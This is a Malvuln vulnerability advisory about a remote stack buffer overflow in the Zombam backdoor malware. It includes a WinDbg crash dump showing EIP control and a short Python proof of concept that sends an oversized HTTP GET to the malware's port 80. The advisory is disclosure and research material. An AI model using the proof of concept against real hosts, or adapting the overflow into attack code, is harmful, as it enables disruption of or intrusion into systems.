Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6c5081e9b65a52963b0b1ae612ef7eb4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.a Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 80, sending an HTTP GET request with 300 or more bytes will trigger buffer overflow overwriting EIP. Type: PE32 MD5: 6c5081e9b65a52963b0b1ae612ef7eb4 Vuln ID: MVID-2021-0022 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/11/2021 Memory Dump: 0:004> .ecxr eax=00000000 ebx=03f90350 ecx=852341b4 edx=00000000 esi=047efb55 edi=047efc8b eip=41414141 esp=047efab8 ebp=047eff80 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 41414141 ?? ??? FAULTING_IP: +24 41414141 ?? ??? EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Backdoor.Win32.Zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: +24 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +24 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_STACKIMMUNE DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe+0x0 STACK_COMMAND: .cxr 00000000047EF658 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=80 PACKET="GET /"+"A"*300+"HTTP/1.0\r\nHost: "+MALWARE_HOST s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(PACKET) s.close() print("Backdoor.Win32.Zombam.a / Remote Stack Buffer Overflow") print("MD5: 6c5081e9b65a52963b0b1ae612ef7eb4") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).